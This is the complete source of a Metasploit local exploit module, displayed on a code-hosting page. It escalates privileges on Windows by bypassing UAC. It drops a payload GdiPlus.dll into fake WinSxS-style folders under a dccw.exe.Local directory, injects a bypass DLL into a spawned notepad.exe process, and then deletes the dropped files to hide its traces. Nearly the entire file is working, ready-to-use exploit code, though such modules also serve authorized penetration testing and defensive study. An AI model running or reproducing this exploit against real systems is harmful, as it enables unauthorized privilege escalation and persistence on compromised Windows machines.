Path: blob/master/modules/exploits/windows/local/bypassuac_injection_winsxs.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::EXE9include Exploit::FileDropper10include Post::File11include Post::Windows::Priv12include Post::Windows::ReflectiveDLLInjection13include Post::Windows::Runas1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',20'Description' => %q{21This module will bypass Windows UAC by utilizing the trusted publisher22certificate through process injection. It will spawn a second shell that23has the UAC flag turned off by abusing the way "WinSxS" works in Windows24systems. This module uses the Reflective DLL Injection technique to drop25only the DLL payload binary instead of three seperate binaries in the26standard technique. However, it requires the correct architecture to be27selected, (use x64 for SYSWOW64 systems also).28},29'License' => MSF_LICENSE,30'Author' => [31'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'32],33'Platform' => [ 'win' ],34'SessionTypes' => [ 'meterpreter' ],35'Targets' => [36[ 'Windows x86', { 'Arch' => ARCH_X86 } ],37[ 'Windows x64', { 'Arch' => ARCH_X64 } ]38],39'DefaultTarget' => 0,40'References' => [41['URL', 'https://github.com/L3cr0f/DccwBypassUAC']42],43'DisclosureDate' => '2017-04-06',44'Compat' => {45'Meterpreter' => {46'Commands' => %w[47stdapi_fs_delete_dir48stdapi_fs_delete_file49stdapi_fs_stat50stdapi_railgun_api51stdapi_sys_process_attach52stdapi_sys_process_memory_allocate53stdapi_sys_process_memory_write54stdapi_sys_process_thread_create55]56}57},58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63)64)65end6667def exploit68# Validate that we can actually do things before we bother69# doing any more work70validate_environment!71check_permissions!7273# Get all required environment variables in one shot instead. This74# is a better approach because we don't constantly make calls through75# the session to get the variables.76env_vars = get_envs('TEMP', 'WINDIR')7778# Get UAC level so as to verify if the module will be successful79case get_uac_level80when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,81UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,82UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT83fail_with(Failure::NotVulnerable,84"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")85when UAC_DEFAULT86print_good('UAC is set to Default')87print_good('BypassUAC can bypass this setting, continuing...')88when UAC_NO_PROMPT89print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')90shell_execute_exe91return92end9394dll_path = bypass_dll_path95payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"9697# Establish the folder pattern so as to get those folders that match it98sysarch = sysinfo['Architecture']99if sysarch == ARCH_X86100targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'101else102targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'103end104105directoryNames = get_directories(payload_filepath, targetedDirectories)106create_directories(payload_filepath, directoryNames)107upload_payload_dll(payload_filepath, directoryNames)108109pid = spawn_inject_proc(env_vars['WINDIR'])110111file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)112run_injection(pid, dll_path, file_paths)113end114115# Path to the bypassuac binary and architecture payload checking116def bypass_dll_path117path = ::File.join(Msf::Config.data_directory, 'post')118119sysarch = sysinfo['Architecture']120if sysarch == ARCH_X86121if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)122fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')123else124::File.join(path, 'bypassuac-x86.dll')125end126elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)127::File.join(path, 'bypassuac-x64.dll')128else129fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')130end131end132133# Check if the compromised user matches some requirements134def check_permissions!135# Check if you are an admin136vprint_status('Checking admin status...')137admin_group = is_in_admin_group?138139if admin_group.nil?140print_error('Either whoami is not there or failed to execute')141print_error('Continuing under assumption you already checked...')142elsif admin_group143print_good('Part of Administrators group! Continuing...')144else145fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')146end147148if get_integrity_level == INTEGRITY_LEVEL_SID[:low]149fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')150end151end152153# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation154def run_injection(pid, dll_path, file_paths)155vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")156begin157path_struct = create_struct(file_paths)158159vprint_status("Opening process #{pid}")160host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)161exploit_mem, offset = inject_dll_into_process(host_process, dll_path)162163vprint_status("Injecting struct into #{pid}")164struct_addr = host_process.memory.allocate(path_struct.length)165host_process.memory.write(struct_addr, path_struct)166167vprint_status('Executing payload')168thread = host_process.thread.create(exploit_mem + offset, struct_addr)169print_good("Successfully injected payload in to process: #{pid}")170client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)171rescue Rex::Post::Meterpreter::RequestError => e172print_error("Failed to Inject Payload to #{pid}!")173vprint_error(e.to_s)174end175end176177# Create a process in the native architecture178def spawn_inject_proc(win_dir)179print_status('Spawning process with Windows Publisher Certificate, to inject into...')180if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86181cmd = "#{win_dir}\\sysnative\\notepad.exe"182else183cmd = "#{win_dir}\\System32\\notepad.exe"184end185pid = cmd_exec_get_pid(cmd)186187unless pid188fail_with(Failure::Unknown, 'Spawning Process failed...')189end190191pid192end193194# Upload only one DLL, the rest will be copied into the specific folders195def upload_payload_dll(_payload_filepath, directoryNames)196dllPath = "#{directoryNames[0]}\\GdiPlus.dll"197payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true })198print_status('Uploading the Payload DLL to the filesystem...')199begin200vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")201write_file(dllPath, payload)202rescue Rex::Post::Meterpreter::RequestError => e203fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")204end205206if directoryNames.size > 1207copy_payload_dll(directoryNames, dllPath)208end209end210211# Copy our DLL to all created folders, the first folder already have a copy of the DLL212def copy_payload_dll(directoryNames, dllPath)2131.step(directoryNames.size - 1, 1) do |i|214if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false215print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...')216end217end218end219220# Check if the environment is vulnerable to the exploit221def validate_environment!222fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?223224version = get_version_info225if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) ||226(version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019))227print_good("#{version.product_name} may be vulnerable.")228else229fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")230end231232if is_uac_enabled?233print_status('UAC is Enabled, checking level...')234else235unless is_in_admin_group?236fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')237end238end239end240241# Creating the necessary directories to perform the DLL hijacking242# Since we don't know which path "dccw.exe" will choose, we create243# all the directories that match with the initial pattern244def create_directories(payload_filepath, directoryNames)245env_vars = get_envs('TEMP')246247print_status('Creating temporary folders...')248if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0249fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")250end251252directoryNames.each do |dirName|253if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0254fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")255end256end257end258259# Get all the directories that match with the initial pattern260def get_directories(payload_filepath, targetedDirectories)261directoryNames = []262findFileDataSize = 592263maxPath = client.railgun.const('MAX_PATH')264fileNamePadding = 44265266hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)267if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE')268fail_with(Failure::Unknown, 'Cannot get the targeted directories!')269end270271findFileData = hFile['lpFindFileData']272moreFiles = true273until moreFiles == false274fileAttributes = findFileData[0, 4].unpack('V').first275andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY')276if andOperation277# Removes the remainder part composed of 'A' of the path and the last null character278normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first279path = "#{payload_filepath}\\#{normalizedData}"280directoryNames.push(path)281end282283findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)284moreFiles = findNextFile['return']285findFileData = findNextFile['lpFindFileData']286end287client.railgun.kernel32.FindClose(hFile['return'])288289if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES')290fail_with(Failure::Unknown, 'Cannot get the targeted directories!')291end292293directoryNames294end295296# Store the necessary paths into a struct297def get_file_paths(win_path, payload_filepath)298paths = {}299paths[:szElevDll] = 'dccw.exe.Local'300paths[:szElevDir] = "#{win_path}\\System32"301paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"302paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"303paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"304paths[:szTempDllPath] = payload_filepath305306paths307end308309# Creates the paths struct which contains all the required paths310# the dll needs to copy/execute etc.311def create_struct(paths)312# Write each path to the structure in the order they313# are defined in the bypass uac binary.314struct = ''315struct << fill_struct_path(paths[:szElevDir])316struct << fill_struct_path(paths[:szElevDirSysWow64])317struct << fill_struct_path(paths[:szElevDll])318struct << fill_struct_path(paths[:szElevDllFull])319struct << fill_struct_path(paths[:szElevExeFull])320struct << fill_struct_path(paths[:szTempDllPath])321322struct323end324325def fill_struct_path(path)326path = Rex::Text.to_unicode(path)327path + "\x00" * (520 - path.length)328end329330# When a new session is obtained, it removes the dropped elements (files and folders)331def on_new_session(session)332if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi')333session.core.use('stdapi')334end335remove_dropped_elements(session)336end337338# Remove all the created and dropped files and folders339def remove_dropped_elements(session)340droppedElements = []341342env_vars = get_envs('TEMP', 'WINDIR')343payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"344345sysarch = sysinfo['Architecture']346if sysarch == ARCH_X86347targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'348else349targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'350end351352directoryNames = get_directories(payload_filepath, targetedDirectories)353file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)354355# Remove all dropped elements (files and folders)356remove_dlls(session, directoryNames, file_paths, droppedElements)357remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)358remove_dot_local_folders(session, file_paths, droppedElements)359360# Check if the removal was successful361removal_checking(droppedElements)362end363364# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"365# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"366def remove_dlls(session, directoryNames, file_paths, droppedElements)367directoryNames.each do |dirName|368directoryName = dirName.split('\\').last369370begin371droppedElements.push("#{dirName}\\GdiPlus.dll")372session.fs.file.rm("#{dirName}\\GdiPlus.dll")373rescue ::Rex::Post::Meterpreter::RequestError => e374vprint_error("Error => #{e.class} - #{e}")375end376377begin378droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")379session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")380rescue ::Rex::Post::Meterpreter::RequestError => e381vprint_error("Error => #{e.class} - #{e}")382end383end384end385386# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"387def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)388directoryNames.each do |dirName|389directoryName = dirName.split('\\').last390391begin392droppedElements.push(dirName)393session.fs.dir.rmdir(dirName)394rescue ::Rex::Post::Meterpreter::RequestError => e395vprint_error("Error => #{e.class} - #{e}")396end397398begin399droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")400session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")401rescue ::Rex::Post::Meterpreter::RequestError => e402vprint_error("Error => #{e.class} - #{e}")403end404end405end406407# Remove "C:\Windows\System32\dccw.exe.Local" folder408def remove_dot_local_folders(session, file_paths, droppedElements)409begin410droppedElements.push(file_paths[:szTempDllPath])411session.fs.dir.rmdir(file_paths[:szTempDllPath])412rescue ::Rex::Post::Meterpreter::RequestError => e413vprint_error("Error => #{e.class} - #{e}")414end415416begin417droppedElements.push(file_paths[:szElevDllFull])418session.fs.dir.rmdir(file_paths[:szElevDllFull])419rescue ::Rex::Post::Meterpreter::RequestError => e420vprint_error("Error => #{e.class} - #{e}")421end422end423424# Check if have been successfully removed425def removal_checking(droppedElements)426successfullyRemoved = true427428droppedElements.each do |element|429stat = session.fs.file.stat(element)430if stat431print_error("Unable to delete #{element}!")432successfullyRemoved = false433end434rescue ::Rex::Post::Meterpreter::RequestError => e435vprint_error("Error => #{e.class} - #{e}")436end437438if successfullyRemoved439print_good('All the dropped elements have been successfully removed')440else441print_warning('Could not delete some dropped elements! They will require manual cleanup on the target')442end443end444end445446447